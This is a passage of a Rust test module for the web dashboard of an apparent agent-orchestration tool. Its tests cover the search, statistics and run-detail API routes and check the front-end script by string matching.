13170        let parts = snippet_of(&text, &["a".repeat(120)]);
13171        assert_eq!(hit_len(&parts), 0, "{parts:?}");
13172    }
13173
13174    #[tokio::test]
13175    async fn search_caps_hits_and_snippet_length() {
13176        let f = Fixture::start().await;
13177        let runs = f.runs();
13178        for n in 0..(SEARCH_MAX_HITS + 5) {
13179            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13180        }
13181        let v = f.get("/api/search?scope=runs&q=web").await.json();
13182        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13183        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13184        assert_eq!(v["truncated"], true);
13185        // Every listed run hit carries its list row for the page's filters.
13186        assert!(
13187            v["hits"]
13188                .as_array()
13189                .unwrap()
13190                .iter()
13191                .all(|h| h["run"]["status"] == "merged")
13192        );
13193
13194        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13195        let parts = snippet_of(&long, &["needle".to_owned()]);
13196        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13197        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13198        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13199    }
13200
13201    #[tokio::test]
13202    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13203        let f = Fixture::start().await;
13204        let queue = f.queue();
13205        let mut t = Task::new(
13206            "short title".to_owned(),
13207            "line one\nthe hidden Armadillo detail".to_owned(),
13208            PathBuf::from("/repo/magi"),
13209            Source::Agent {
13210                run: "r1".to_owned(),
13211                node: "chat".to_owned(),
13212            },
13213        );
13214        t.last_error = Some("disk full on /tmp".to_owned());
13215        queue.put(&mut t).expect("file the task");
13216
13217        for (q, want) in [
13218            ("armadillo", 1),
13219            ("disk%20FULL", 1),
13220            ("chat", 1),
13221            ("queued", 1),
13222            ("short%20nothing", 0),
13223        ] {
13224            let v = f
13225                .get(&format!("/api/search?scope=tasks&q={q}"))
13226                .await
13227                .json();
13228            assert_eq!(v["total"], want, "{q}: {v}");
13229        }
13230        for bad in [
13231            "/api/search?scope=tasks&q=",
13232            "/api/search?scope=tasks&q=%20",
13233            "/api/search?scope=chats&q=",
13234            "/api/search?scope=chats&q=%20",
13235            "/api/search?scope=nope&q=a",
13236            "/api/search?q=a",
13237        ] {
13238            assert_eq!(f.get(bad).await.status, 400, "{bad}");
13239        }
13240    }
13241
13242    /// Write one conversation file the way the store reads it back.
13243    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13244        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13245            .expect("seat value");
13246        let turns: Vec<serde_json::Value> = turns
13247            .iter()
13248            .map(|(who, body)| {
13249                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13250            })
13251            .collect();
13252        let doc = serde_json::json!({
13253            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13254            "status": status, "turns": turns,
13255            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13256            "seat": seat,
13257        });
13258        let dir = f.home.path().join("talks");
13259        std::fs::create_dir_all(&dir).expect("talks dir");
13260        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13261    }
13262
13263    #[tokio::test]
13264    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13265        let f = Fixture::start().await;
13266        write_talk(
13267            &f,
13268            "20260901-000001-aaaa",
13269            "open",
13270            &[
13271                (
13272                    "operator",
13273                    "\n  Why does the Pangolin cache expire?\nsecond line",
13274                ),
13275                ("agent", "Because the TTL is thirty seconds."),
13276            ],
13277        );
13278        write_talk(
13279            &f,
13280            "20260901-000002-bbbb",
13281            "closed",
13282            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13283        );
13284        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13285
13286        let search = |q: &'static str| {
13287            let f = &f;
13288            async move {
13289                f.get(&format!("/api/search?scope=chats&q={q}"))
13290                    .await
13291                    .json()
13292            }
13293        };
13294
13295        let v = search("PANGOLIN").await;
13296        assert_eq!(v["scope"], "chats");
13297        assert_eq!(v["total"], 1, "{v}");
13298        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13299        assert_eq!(v["hits"][0]["field"], "title");
13300        assert_eq!(v["unreadable"], 1, "{v}");
13301        let marked: Vec<&str> = v["hits"][0]["snippet"]
13302            .as_array()
13303            .unwrap()
13304            .iter()
13305            .filter(|p| p["hit"] == true)
13306            .map(|p| p["text"].as_str().unwrap())
13307            .collect();
13308        assert_eq!(marked, ["Pangolin"]);
13309
13310        // An agent turn, in a closed conversation.
13311        let v = search("zebra").await;
13312        assert_eq!(v["total"], 1, "{v}");
13313        assert_eq!(v["hits"][0]["field"], "agent");
13314        // Words may sit in different turns; all must be present.
13315        assert_eq!(search("pangolin%20thirty").await["total"], 1);
13316        assert_eq!(search("pangolin%20zebra").await["total"], 0);
13317        // Bookkeeping is not searched.
13318        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13319            assert_eq!(search(q).await["total"], 0, "{q}");
13320        }
13321        // The first line only is the title; the second line is still a turn.
13322        assert_eq!(search("second").await["hits"][0]["field"], "operator");
13323        // Open conversations are listed before closed ones.
13324        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13325
13326        let v = f.get("/api/search?scope=nope&q=a").await;
13327        assert_eq!(v.status, 400);
13328        assert!(
13329            v.body.contains("scope must be runs, tasks or chats"),
13330            "{}",
13331            v.body
13332        );
13333    }
13334
13335    #[test]
13336    fn a_question_card_links_a_task_id_to_the_task_page() {
13337        let start = APP_JS
13338            .find("function updateAskCard(")
13339            .expect("updateAskCard exists");
13340        let body = &APP_JS[start..];
13341        let body = &body[..body.find("\n}\n").expect("function end")];
13342        assert!(body.contains("question.run_is_task"));
13343        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
13344        assert!(body.contains("`#/runs/${question.run}`"));
13345        assert!(body.contains("\"task\" : \"run\""));
13346    }
13347
13348    #[test]
13349    fn plain_text_message_surfaces_go_through_linkify() {
13350        assert!(APP_JS.contains("function linkify("));
13351        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
13352        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
13353        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
13354        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
13355        assert!(!APP_JS.contains("innerHTML = text"));
13356    }
13357
13358    #[test]
13359    fn implementation_rate_views_keep_independent_samples() {
13360        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
13361            let a = stats::AgentStats {
13362                competitive_entered: competitive_n,
13363                competitive_wins: usize::from(competitive_n > 0),
13364                solo_entered: solo_n,
13365                solo_adopted: 2 * usize::from(solo_n > 0),
13366                ..Default::default()
13367            };
13368            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
13369            for (key, n, numerator) in [
13370                ("competitive_win_rate", competitive_n, a.competitive_wins),
13371                ("solo_adoption_rate", solo_n, a.solo_adopted),
13372            ] {
13373                if n == 0 {
13374                    assert!(v[key].is_null());
13375                } else {
13376                    assert_eq!(v[key]["denominator"], n);
13377                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
13378                }
13379            }
13380        }
13381        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
13382        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
13383        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
13384        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13385    }
13386
13387    #[test]
13388    fn stats_bars_share_one_id_keyed_plan() {
13389        let start = APP_JS
13390            .find("function statsBarRows(")
13391            .expect("statsBarRows exists");
13392        let body = &APP_JS[start..];
13393        let body = &body[..body.find("\n}\n").expect("function end")];
13394        assert!(body.contains("statsBarPlan(rows)"));
13395        assert!(body.contains("statsAgentTone(row.agent)"));
13396        assert!(!body.contains("candTone(i)"));
13397        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
13398        for root in [
13399            "stats-agents-bars",
13400            "stats-solo-bars",
13401            "stats-reviewers-bars",
13402        ] {
13403            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
13404        }
13405    }
13406
13407    #[test]
13408    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
13409        let start = APP_JS
13410            .find("function renderStatsReviewerScatter(")
13411            .expect("renderStatsReviewerScatter exists");
13412        let body = &APP_JS[start..];
13413        let body = &body[..body.find("\n}\n").expect("function end")];
13414        assert!(body.contains("statsScatterPlan(reviewers)"));
13415        assert!(body.contains("statsAgentTone(d.agent)"));
13416        assert!(APP_JS.contains("function statsScatterPlan("));
13417        assert!(
13418            APP_JS.contains("d.submitted < STATS_LOW_N")
13419                || APP_JS.contains("r.submitted < STATS_LOW_N")
13420        );
13421        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
13422        assert!(APP_CSS.contains(".precision-scatter"));
13423    }
13424
13425    #[test]
13426    fn advisor_reflection_is_drawn_as_stacked_segments() {
13427        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
13428        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
13429        let html = include_str!("../assets/ui/index.html");
13430        assert!(html.contains("Approximate"));
13431        for label in ["reflected strongly", "faint", "no proposal"] {
13432            assert!(html.contains(label));
13433        }
13434        let css = include_str!("../assets/ui/app.css");
13435        for c in ["refl-strong", "refl-faint", "refl-absent"] {
13436            assert!(css.contains(&format!(".{c} {{")));
13437        }
13438    }
13439
13440    #[test]
13441    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
13442        assert!(APP_JS.contains("function statsDailyPlan("));
13443        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
13444        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
13445    }
13446
13447    #[test]
13448    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
13449        let start = APP_JS
13450            .find("function scheduleSearch(")
13451            .expect("scheduleSearch exists");
13452        let body = &APP_JS[start..];
13453        let body = &body[..body.find("\n}\n").expect("function end")];
13454        assert!(body.contains("s.seq += 1"));
13455    }
13456
13457    /// The dashboard reads every run's state itself rather than trusting a
13458    /// separately-maintained count, so an unreadable run must be counted the
13459    /// same way `/api/health` counts it - never silently dropped the way the
13460    /// CLI's own `stats::load_all` drops it.
13461    #[tokio::test]
13462    async fn stats_runs_unreadable_matches_health() {
13463        let f = Fixture::start().await;
13464        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13465        let broken = f.runs().join("20260902-140502-bad");
13466        std::fs::create_dir_all(&broken).expect("run dir");
13467        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13468
13469        let stats = f.get("/api/stats").await;
13470        let health = f.get("/api/health").await;
13471
13472        assert_eq!(stats.status, 200);
13473        assert_eq!(stats.json()["totals"]["runs"], 1);
13474        assert_eq!(stats.json()["runs_unreadable"], 1);
13475        assert_eq!(
13476            stats.json()["runs_unreadable"],
13477            health.json()["runs_unreadable"],
13478            "the dashboard and /api/health must never disagree about how many \
13479             runs could not be read"
13480        );
13481    }
13482
13483    #[tokio::test]
13484    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
13485        let f = Fixture::start().await;
13486        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13487        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
13488        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
13489
13490        let totals = &f.get("/api/stats").await.json()["totals"];
13491        assert_eq!(totals["runs"], 3);
13492        assert_eq!(totals["merged"], 1);
13493        assert_eq!(totals["stalled"], 1);
13494        assert_eq!(totals["in_progress"], 1);
13495        // A stalled run must never read as blocked/merged/ready - it is its
13496        // own bucket, not folded into a "decided" one.
13497        assert_eq!(totals["blocked"], 0);
13498        assert_eq!(totals["ready"], 0);
13499    }
13500
13501    #[tokio::test]
13502    async fn stats_advisors_report_proposals_and_reflection() {
13503        use crate::advise::{Advice, AdvisorRecord, Reflection};
13504        use crate::verdict::Proposal;
13505
13506        let f = Fixture::start().await;
13507        let mut state = RunState::new(
13508            PathBuf::from("/repo/magi"),
13509            "main".to_owned(),
13510            "0123456789abcdef".to_owned(),
13511            "task".to_owned(),
13512            Config::default(),
13513        );
13514        state.id = "20260902-140501-a".to_owned();
13515        state.status = RunStatus::Merged;
13516        state.advice = Some(Advice {
13517            records: vec![
13518                AdvisorRecord {
13519                    seat: "advisor-1".to_owned(),
13520                    agent: "alpha".to_owned(),
13521                    proposal: Some(Proposal {
13522                        approach: "do it".to_owned(),
13523                        key_tradeoff: "speed over memory".to_owned(),
13524                        risks: Vec::new(),
13525                        touches: Vec::new(),
13526                        why_not_naive: "breaks under load".to_owned(),
13527                    }),
13528                    error: None,
13529                    duration_ms: 0,
13530                    reflection: Reflection::Strong,
13531                },
13532                AdvisorRecord {
13533                    seat: "advisor-2".to_owned(),
13534                    agent: "alpha".to_owned(),
13535                    proposal: None,
13536                    error: Some("timed out".to_owned()),
13537                    duration_ms: 0,
13538                    reflection: Reflection::Absent,
13539                },
13540            ],
13541            synthesis: Some("blended brief".to_owned()),
13542        });
13543        let dir = f.runs().join(&state.id);
13544        std::fs::create_dir_all(&dir).expect("run dir");
13545        std::fs::write(
13546            dir.join("run.json"),
13547            serde_json::to_string_pretty(&state).expect("serialize run"),
13548        )
13549        .expect("write run.json");
13550
13551        // `alpha` is in no roster here; this test is about the rates.
13552        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
13553        let alpha = advisors
13554            .as_array()
13555            .expect("an array")
13556            .iter()
13557            .find(|a| a["agent"] == "alpha")
13558            .expect("alpha row");
13559        assert_eq!(alpha["seated"], 2);
13560        assert_eq!(alpha["proposed"], 1);
13561        assert_eq!(alpha["absent"], 1);
13562        assert_eq!(alpha["strong"], 1);
13563        assert_eq!(alpha["faint"], 0);
13564        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
13565    }
13566
13567    #[tokio::test]
13568    async fn stats_hides_agents_outside_the_roster_unless_all() {
13569        use crate::run::Candidate;
13570        let repo = TempDir::new().expect("repo dir");
13571        std::fs::write(
13572            repo.path().join("magi.toml"),
13573            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
13574        )
13575        .expect("magi.toml");
13576        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
13577        let mut state = RunState::new(
13578            PathBuf::from("/repo/magi"),
13579            "main".to_owned(),
13580            "0123456789abcdef".to_owned(),
13581            "task".to_owned(),
13582            Config::default(),
13583        );
13584        state.id = "20260902-140501-a".to_owned();
13585        state.status = RunStatus::Merged;
13586        for (label, agent) in [('A', "keep"), ('B', "retired")] {
13587            let mut c: Candidate = serde_json::from_value(serde_json::json!({
13588                "index": 0, "label": label.to_string(), "agent": agent,
13589                "branch": "b", "worktree": "/w",
13590            }))
13591            .expect("candidate");
13592            c.label = label;
13593            state.candidates.push(c);
13594        }
13595        let dir = f.runs().join(&state.id);
13596        std::fs::create_dir_all(&dir).expect("run dir");
13597        std::fs::write(
13598            dir.join("run.json"),
13599            serde_json::to_string_pretty(&state).expect("serialize run"),
13600        )
13601        .expect("write run.json");
13602
13603        let agents_of = |v: &serde_json::Value| -> Vec<String> {
13604            v["agents"]
13605                .as_array()
13606                .expect("array")
13607                .iter()
13608                .map(|a| a["agent"].as_str().unwrap().to_owned())
13609                .collect()
13610        };
13611        let hidden = f.get("/api/stats").await.json();
13612        assert_eq!(agents_of(&hidden), ["keep"]);
13613        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
13614        assert_eq!(hidden["totals"]["runs"], 1);
13615
13616        let all = f.get("/api/stats?all=true").await.json();
13617        assert_eq!(agents_of(&all).len(), 2);
13618        assert_eq!(all["retired_hidden"], serde_json::json!([]));
13619        // Verify competitive and solo keys exist on agent entries
13620        let keep_agent = all["agents"]
13621            .as_array()
13622            .unwrap()
13623            .iter()
13624            .find(|a| a["agent"] == "keep")
13625            .unwrap();
13626        assert_eq!(keep_agent["competitive_entered"], 1);
13627        assert_eq!(keep_agent["competitive_wins"], 0);
13628        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
13629        assert_eq!(keep_agent["solo_entered"], 0);
13630        assert_eq!(keep_agent["solo_adopted"], 0);
13631        assert!(keep_agent["solo_adoption_rate"].is_null());
13632    }
13633
13634    #[tokio::test]
13635    async fn stats_release_bumps_split_clean_from_attention() {
13636        use crate::run::ReleaseBump;
13637
13638        let f = Fixture::start().await;
13639
13640        let mut clean = RunState::new(
13641            PathBuf::from("/repo/magi"),
13642            "main".to_owned(),
13643            "0123456789abcdef".to_owned(),
13644            "task".to_owned(),
13645            Config::default(),
13646        );
13647        clean.id = "20260902-140501-a".to_owned();
13648        clean.status = RunStatus::Merged;
13649        clean.release_bump = Some(ReleaseBump {
13650            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
13651            version: Some("1.0.0".to_owned()),
13652            automerge_enabled: true,
13653            merged_directly: false,
13654            local: false,
13655            release: None,
13656            problem: None,
13657            action_required: None,
13658        });
13659
13660        let mut blocked = RunState::new(
13661            PathBuf::from("/repo/magi"),
13662            "main".to_owned(),
13663            "0123456789abcdef".to_owned(),
13664            "task".to_owned(),
13665            Config::default(),
13666        );
13667        blocked.id = "20260902-140502-b".to_owned();
13668        blocked.status = RunStatus::Merged;
13669        blocked.release_bump = Some(ReleaseBump {
13670            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
13671            version: Some("1.0.1".to_owned()),
13672            automerge_enabled: false,
13673            merged_directly: false,
13674            local: false,
13675            release: None,
13676            problem: Some("checks red".to_owned()),
13677            action_required: Some("look at the PR".to_owned()),
13678        });
13679
13680        for state in [&clean, &blocked] {
13681            let dir = f.runs().join(&state.id);
13682            std::fs::create_dir_all(&dir).expect("run dir");
13683            std::fs::write(
13684                dir.join("run.json"),
13685                serde_json::to_string_pretty(state).expect("serialize run"),
13686            )
13687            .expect("write run.json");
13688        }
13689
13690        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13691        assert_eq!(bumps["merged"], 2);
13692        assert_eq!(bumps["recorded"], 2);
13693        assert_eq!(bumps["pr_opened"], 2);
13694        assert_eq!(bumps["automerge_enabled"], 1);
13695        assert_eq!(bumps["needs_attention"], 1);
13696        assert_eq!(bumps["clean"], 1);
13697        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
13698        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
13699    }
13700
13701    #[tokio::test]
13702    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
13703        let f = Fixture::start().await;
13704        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
13705
13706        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
13707        assert_eq!(bumps["merged"], 1);
13708        assert_eq!(bumps["recorded"], 0);
13709        // `merged` is nonzero, so coverage still reads as a real 0%, not an
13710        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
13711        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
13712        // `pr_opened` and `recorded` are both zero here, so these rates have
13713        // no denominator to compute from and must be null.
13714        assert_eq!(bumps["automerge_rate"], Value::Null);
13715        assert_eq!(bumps["attention_rate"], Value::Null);
13716    }
13717
13718    #[tokio::test]
13719    async fn stats_queue_counts_come_from_the_live_queue() {
13720        let f = Fixture::start().await;
13721        let q = f.queue();
13722        let mut queued = Task::new(
13723            "queued task".to_owned(),
13724            "do it".to_owned(),
13725            PathBuf::from("/repo"),
13726            Source::Human,
13727        );
13728        q.put(&mut queued).expect("put queued");
13729        let mut held = Task::new(
13730            "held task".to_owned(),
13731            "do it later".to_owned(),
13732            PathBuf::from("/repo"),
13733            Source::Human,
13734        );
13735        held.hold_machine(Some("out of attempts".to_owned()));
13736        q.put(&mut held).expect("put held");
13737
13738        let queue = f.get("/api/stats").await.json()["queue"].clone();
13739        assert_eq!(queue["queued"], 1);
13740        assert_eq!(queue["held"], 1);
13741        assert_eq!(queue["running"], 0);
13742        assert_eq!(queue["done"], 0);
13743        assert_eq!(queue["failed"], 0);
13744        assert_eq!(queue["blocked"], 0);
13745    }
13746
13747    #[tokio::test]
13748    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
13749        let f = Fixture::start().await;
13750        let stats = f.get("/api/stats").await;
13751        assert_eq!(stats.status, 200);
13752        assert_eq!(stats.json()["totals"]["runs"], 0);
13753        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
13754        assert_eq!(stats.json()["runs_unreadable"], 0);
13755        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
13756        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
13757        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
13758        assert_eq!(stats.json()["repo"], Value::Null);
13759    }
13760
13761    #[tokio::test]
13762    async fn stats_lists_every_repository_with_runs_recorded() {
13763        let f = Fixture::start().await;
13764        write_run_repo(
13765            &f.runs(),
13766            "20260902-140501-a",
13767            RunStatus::Merged,
13768            "/repos/a",
13769        );
13770        write_run_repo(
13771            &f.runs(),
13772            "20260902-140502-b",
13773            RunStatus::Merged,
13774            "/repos/a",
13775        );
13776        write_run_repo(
13777            &f.runs(),
13778            "20260902-140503-c",
13779            RunStatus::Blocked,
13780            "/repos/b",
13781        );
13782
13783        let stats = f.get("/api/stats").await;
13784        assert_eq!(stats.status, 200);
13785        // Unfiltered - the aggregate across both repositories.
13786        assert_eq!(stats.json()["totals"]["runs"], 3);
13787        assert_eq!(stats.json()["repo"], Value::Null);
13788
13789        let repos = stats.json()["repos"].clone();
13790        let repos = repos.as_array().unwrap();
13791        assert_eq!(repos.len(), 2);
13792        // Busiest (2 runs) first.
13793        assert_eq!(repos[0]["repo"], "/repos/a");
13794        assert_eq!(repos[0]["name"], "a");
13795        assert_eq!(repos[0]["runs"], 2);
13796        assert_eq!(repos[1]["repo"], "/repos/b");
13797        assert_eq!(repos[1]["runs"], 1);
13798    }
13799
13800    #[tokio::test]
13801    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
13802        let f = Fixture::start().await;
13803        write_run_repo(
13804            &f.runs(),
13805            "20260902-140501-a",
13806            RunStatus::Merged,
13807            "/repos/a",
13808        );
13809        write_run_repo(
13810            &f.runs(),
13811            "20260902-140502-b",
13812            RunStatus::Blocked,
13813            "/repos/b",
13814        );
13815
13816        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
13817        assert_eq!(stats.status, 200);
13818        assert_eq!(stats.json()["totals"]["runs"], 1);
13819        assert_eq!(stats.json()["totals"]["merged"], 1);
13820        assert_eq!(stats.json()["repo"], "/repos/a");
13821        // The repository list itself is unaffected by the filter - it is
13822        // what a client switches repositories from.
13823        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
13824        // runs_unreadable is a whole-workload count, never scoped to the
13825        // selected repository - see StatsView::runs_unreadable's own doc.
13826        assert_eq!(stats.json()["runs_unreadable"], 0);
13827    }
13828
13829    #[tokio::test]
13830    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
13831        let f = Fixture::start().await;
13832        write_run_repo(
13833            &f.runs(),
13834            "20260902-140501-a",
13835            RunStatus::Merged,
13836            "/repos/a",
13837        );
13838        write_run_repo(
13839            &f.runs(),
13840            "20260902-140502-b",
13841            RunStatus::Merged,
13842            "/repos/b",
13843        );
13844
13845        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
13846            let json = f.get(uri).await.json();
13847            let daily = json["daily"].as_array().expect("daily is an array");
13848            assert_eq!(daily.len(), 30);
13849            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
13850            let mut sorted = dates.clone();
13851            sorted.sort();
13852            assert_eq!(dates, sorted);
13853            for d in daily {
13854                assert_eq!(
13855                    d["merged"].as_u64().unwrap()
13856                        + d["ready"].as_u64().unwrap()
13857                        + d["other"].as_u64().unwrap(),
13858                    d["runs"].as_u64().unwrap()
13859                );
13860            }
13861            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
13862        }
13863    }
13864
13865    #[tokio::test]
13866    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
13867        let f = Fixture::start().await;
13868        write_run_repo(
13869            &f.runs(),
13870            "20260902-140501-a",
13871            RunStatus::Merged,
13872            "/repos/a",
13873        );
13874
13875        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
13876        assert_eq!(stats.status, 404);
13877    }
13878
13879    #[tokio::test]
13880    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
13881        let f = Fixture::start().await;
13882        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
13883
13884        let summary = f.get("/api/runs").await.json();
13885        let row = &summary[0];
13886        assert_eq!(row["short"], "a1b2");
13887        assert_eq!(row["status"], "ready");
13888        assert_eq!(row["done"], true);
13889        assert_eq!(row["title"], "Add a web UI");
13890        assert_eq!(row["repo_name"], "magi");
13891        assert_eq!(row["judges"], 3);
13892        assert_eq!(row["winner"], Value::Null);
13893        assert_eq!(row["reviews"], 0);
13894
13895        // The short id resolves, and the detail route is the state itself, not
13896        // a projection of it: the UI reads fields the summary does not carry.
13897        let detail = f.get("/api/runs/a1b2").await;
13898        assert_eq!(detail.status, 200);
13899        assert_eq!(detail.json()["base_branch"], "main");
13900        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
13901    }
13902
13903    /// `status: "ready"` alone cannot tell a run still headed for a landing
13904    /// (a PR closed without merging, say) apart from one `[merge] mode =
13905    /// "none"` left unmerged for good — the confusion the operator flagged
13906    /// after the CLI report already grew a `not landed — nothing to do by
13907    /// design` line for exactly this case (`report.rs`). Both the list route
13908    /// and the detail route must carry a flag the phone can key on instead of
13909    /// re-deriving it from `status` + `merge.mode` itself.
13910    #[tokio::test]
13911    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
13912        let f = Fixture::start().await;
13913
13914        let mut none_run = RunState::new(
13915            PathBuf::from("/repo/magi"),
13916            "main".to_owned(),
13917            "0123456789abcdef".to_owned(),
13918            "Add a web UI".to_owned(),
13919            Config::default(),
13920        );
13921        none_run.id = "20260902-140503-none".to_owned();
13922        none_run.status = RunStatus::Ready;
13923        none_run.merge = Some(crate::run::MergeOutcome {
13924            mode: crate::config::MergeMode::None,
13925            ok: true,
13926            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
13927            empty: false,
13928        });
13929        write_state(&f.runs(), &none_run);
13930
13931        let mut pr_run = RunState::new(
13932            PathBuf::from("/repo/magi"),
13933            "main".to_owned(),
13934            "0123456789abcdef".to_owned(),
13935            "Add a web UI".to_owned(),
13936            Config::default(),
13937        );
13938        pr_run.id = "20260902-140504-prcl".to_owned();
13939        pr_run.status = RunStatus::Ready;
13940        pr_run.merge = Some(crate::run::MergeOutcome {
13941            mode: crate::config::MergeMode::Pr,
13942            ok: false,
13943            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
13944            empty: false,
13945        });
13946        write_state(&f.runs(), &pr_run);
13947
13948        let summary = f.get("/api/runs").await.json();
13949        let rows: std::collections::HashMap<&str, &Value> = summary
13950            .as_array()
13951            .expect("an array")
13952            .iter()
13953            .map(|r| (r["id"].as_str().expect("an id"), r))
13954            .collect();
13955        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
13956        assert_eq!(
13957            rows[none_run.id.as_str()]["unmerged_by_design"],
13958            true,
13959            "a mode-none Ready must be flagged in the list"
13960        );
13961        assert_eq!(
13962            rows[pr_run.id.as_str()]["unmerged_by_design"],
13963            false,
13964            "a Ready reached by a closed pull request is a different case"
13965        );
13966
13967        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13968        assert_eq!(none_detail["status"], "ready");
13969        assert_eq!(none_detail["unmerged_by_design"], true);
13970
13971        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13972        assert_eq!(pr_detail["unmerged_by_design"], false);
13973    }
13974
13975    /// `RunState::active` is only ever cleared by whoever populated it, so the
13976    /// detail route also has to say whether a daemon is actually still
13977    /// driving this run right now — otherwise a seat from a killed process's
13978    /// last wave would read as live forever.
13979    #[tokio::test]
13980    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13981        let f = Fixture::start().await;
13982        // Matches `write_daemon`'s hard-coded `current.run`, so the second
13983        // half of this test can claim the daemon is working on it without a
13984        // second helper.
13985        let id = "20260902-140502-bbbb";
13986        let mut state = RunState::new(
13987            PathBuf::from("/repo/magi"),
13988            "main".to_owned(),
13989            "0123456789abcdef".to_owned(),
13990            "Add a web UI".to_owned(),
13991            Config::default(),
13992        );
13993        state.id = id.to_owned();
13994        state.status = RunStatus::Judging;
13995        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13996        let dir = f.runs().join(id);
13997        std::fs::create_dir_all(&dir).expect("run dir");
13998        std::fs::write(
13999            dir.join("run.json"),
14000            serde_json::to_string_pretty(&state).expect("serialize run"),
14001        )
14002        .expect("write run.json");
14003
14004        // No daemon.json at all, and no `driver_pid` recorded either (this
14005        // state was written directly, never through `execute()`): there is
14006        // nothing to confirm either way, so the route must say `"unknown"` —
14007        // never `"dead"`, which is exactly the false diagnosis a manual `magi
14008        // run` used to get from this route before `driver_pid` existed.
14009        let cold = f.get(&format!("/api/runs/{id}")).await.json();
14010        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
14011        assert_eq!(cold["live"], "unknown", "{cold}");
14012
